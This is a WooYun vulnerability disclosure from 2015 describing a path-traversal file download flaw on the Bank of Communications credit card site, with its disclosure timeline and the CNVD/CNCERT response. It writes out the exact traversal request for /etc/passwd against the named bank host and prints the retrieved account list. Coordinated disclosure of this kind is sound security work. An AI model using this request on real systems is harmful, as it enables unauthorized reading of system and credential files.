当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093300

漏洞标题：交通银行重要分站任意文件下载漏洞（可读取passwd）

相关厂商：交通银行

漏洞作者： U神

提交时间：2015-01-22 10:00

修复时间：2015-03-08 10:02

公开时间：2015-03-08 10:02

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-22： 细节已通知厂商并且等待厂商处理中
2015-01-26： 厂商已经确认，细节仅向厂商公开
2015-02-05： 细节向核心白帽子及相关领域专家公开
2015-02-15： 细节向普通白帽子公开
2015-02-25： 细节向实习白帽子公开
2015-03-08： 细节向公众公开

简要描述：

交通银行重要分站任意文件下载漏洞（可读取passwd）

详细说明：

交通银行信用卡分站

http://creditcard.bankcomm.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\passwd


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
messagebus:*:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:*:101:102:User for haldaemon:/var/run/hald:/bin/false
sshd:*:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
puppet:x:103:105:Puppet daemon:/var/lib/puppet:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
polkituser:x:104:106:PolicyKit:/var/run/PolicyKit:/bin/false
ntp:x:74:107:NTP daemon:/var/lib/ntp:/bin/false
pulse:x:105:108:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
suse-ncc:x:106:110:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
gdm:x:107:111:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
transadmin:x:9013:9013::/home/transadmin:/bin/bash
login01:x:9001:9001::/home/login01:/bin/bash
patrol:x:9009:9009::/home/patrol:/bin/bash
splunk:x:9011:9011::/home/splunk:/bin/bash
pccc:x:6011:6011::/home/pccc:/bin/bash
uficc:x:9014:6001::/opt/uficc:/bin/bash


漏洞证明：

01.jpg

修复方案：

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-01-26 15:07

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给上海分中心，由上海分中心后续协调网站管理单位处置。

最新状态：

暂无